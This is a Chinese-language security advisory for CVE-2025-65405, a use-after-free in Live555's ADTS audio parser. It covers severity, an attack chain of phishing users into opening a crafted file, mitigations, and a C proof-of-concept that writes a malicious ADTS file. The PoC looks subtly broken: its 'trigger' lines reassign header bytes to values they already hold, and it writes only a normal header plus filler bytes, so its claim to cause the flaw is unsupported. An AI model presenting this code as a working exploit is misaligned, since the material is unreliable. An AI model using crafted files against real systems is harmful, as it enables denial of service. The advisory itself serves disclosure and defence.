IPBUF安全漏洞报告
English
CVE-2025-65405 CVSS 6.5 中危

CVE-2025-65405: Live555 ADTSAudioFileSource use-after-free拒绝服务漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-65405
漏洞类型
Use-After-Free
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Live555 Streaming Media v2018.09.02

相关标签

Use-After-FreeLive555拒绝服务ADTS/AAC内存破坏CVE-2025-65405流媒体媒体解析漏洞

漏洞概述

CVE-2025-65405是Live555流媒体库中的一个use-after-free(释放后重用)安全漏洞。该漏洞存在于ADTSAudioFileSource::samplingFrequency()函数中,攻击者可以通过构造恶意的ADTS/AAC文件来触发此漏洞。当Live555处理特制的音频文件时,程序在释放某个内存对象后继续引用该内存地址,导致程序崩溃或产生未定义行为,最终造成拒绝服务(DoS)。Live555是一款广泛使用的开源流媒体处理库,被众多多媒体应用和嵌入式设备采用,因此该漏洞可能影响大量使用该库的产品。由于漏洞利用需要用户交互(UI:R),攻击者需要诱骗目标用户打开或处理恶意构造的音频文件。CVSS评分6.5,属于中等严重程度,主要影响系统的可用性。

技术细节

该漏洞是典型的use-after-free内存破坏漏洞。在ADTSAudioFileSource::samplingFrequency()函数中,程序在释放某个对象后未能正确清理相关指针,当函数再次被调用时,失效的指针仍被使用,导致访问已释放的内存区域。攻击者可以通过精心构造的ADTS(Audio Data Transport Stream)头部信息来触发此漏洞。具体而言,攻击者需要构造一个包含特定采样率字段的ADTS帧,该帧在被Live555解析时会触发samplingFrequency()函数的错误执行路径。成功利用此漏洞可导致程序崩溃、内存破坏或执行流劫持。在某些情况下,如果攻击者能够精确控制堆内存布局,可能实现代码执行。Live555的ADTSAudioFileSource组件负责解析ADTS格式的AAC音频流,漏洞正是发生在这个解析过程中。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意ADTS/AAC文件,该文件具有特制的头部信息以触发ADTSAudioFileSource::samplingFrequency()函数中的use-after-free条件
STEP 2
步骤2
攻击者通过钓鱼邮件、恶意网站下载链接或其他社会工程手段诱导目标用户获取该恶意文件
STEP 3
步骤3
目标用户使用存在漏洞的Live555组件的应用程序打开或处理该恶意音频文件
STEP 4
步骤4
Live555的ADTSAudioFileSource组件解析ADTS头部时,samplingFrequency()函数被调用并触发释放后重用漏洞
STEP 5
步骤5
程序访问已释放的内存对象,导致崩溃或产生未定义行为,实现拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2025-65405 PoC - Use-After-Free in Live555 ADTSAudioFileSource::samplingFrequency() * This PoC demonstrates the vulnerability by creating a malformed ADTS/AAC file * WARNING: For educational and research purposes only */ #include <stdio.h> #include <stdlib.h> #include <string.h> // ADTS header structure typedef struct { unsigned int syncword; // 12 bits: 0xFFF unsigned int ID; // 1 bit: 0 for MPEG-4, 1 for MPEG-2 unsigned int layer; // 2 bits: always 00 unsigned int protection_absent; // 1 bit: 1 if no CRC unsigned int profile; // 2 bits: AAC profile unsigned int sampling_frequency_index; // 4 bits unsigned int private_bit; // 1 bit unsigned int channel_configuration; // 3 bits unsigned int original_copy; // 1 bit unsigned int home; // 1 bit } ADTS_Header; void create_malicious_adts_file(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) return; // ADTS sync word (0xFFF) unsigned char adts_header[7] = {0xFF, 0xF1, 0x50, 0x80, 0x02, 0x1F, 0xFC}; // Modify header to trigger vulnerability in samplingFrequency() // Set sampling_frequency_index to trigger error path adts_header[2] = 0x50; // Sampling rate manipulation adts_header[3] = 0x80; // Additional trigger conditions // Write malicious header fwrite(adts_header, 1, 7, fp); // Write payload that triggers use-after-free condition unsigned char payload[1024]; memset(payload, 0x41, sizeof(payload)); fwrite(payload, 1, sizeof(payload), fp); fclose(fp); printf("Malicious ADTS file created: %s\n", filename); } int main() { create_malicious_adts_file("poc.adts"); return 0; }

影响范围

Live555 Streaming Media v2018.09.02及之前版本

防御指南

临时缓解措施
临时缓解措施包括:1) 限制用户上传音频文件的功能,对上传文件进行格式白名单验证;2) 使用沙箱环境隔离音频处理组件;3) 部署Web应用防火墙(WAF)或入侵检测系统(IDS)监控异常流量;4) 对处理音频文件的进程设置资源限制,防止内存耗尽;5) 考虑使用替代的音频处理库替代存在漏洞的Live555组件;6) 监控应用程序日志,及时发现异常崩溃行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表